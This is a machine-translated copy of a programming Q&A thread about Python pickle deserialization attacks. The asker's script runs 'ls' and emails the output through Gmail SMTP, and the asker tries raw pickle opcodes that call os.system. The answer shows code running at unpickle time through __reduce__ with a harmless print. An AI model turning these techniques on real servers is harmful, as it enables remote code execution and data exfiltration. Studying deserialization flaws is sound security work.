Bat*_*man 4 python exploit pickle
我有一个将pickle文件发送到服务器的任务,该服务器会取消发送给它的任何内容.我的计划是让它给我发回电子邮件给我打印出的ls命令.我有这个文件:
import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()
Run Code Online (Sandbox Code Playgroud)
如何让服务器运行它?我想发送一个文件,如:
cos
system
(S''
tR.
Run Code Online (Sandbox Code Playgroud)
用''中的python脚本.
我想的是:
cos
system
(S'python\n import smptlib\n ...'
tR.
Run Code Online (Sandbox Code Playgroud)
但它不执行命令.我怎样才能让它执行python?
我试过自己的电脑,python发送电子邮件很好.
做任何你想要在__reduce__方法中做的友好.请不要做坏事.
import pickle
class Friendly(object):
def __reduce__(self):
return (friendly, ('executing friendly code',))
def friendly(x):
print x
pickle.dump(Friendly(), open('pickled', 'w'))
print 'loading ...'
pickle.load(open('pickled'))
Run Code Online (Sandbox Code Playgroud)
- >
$ python friendly.py
loading ...
执行友好代码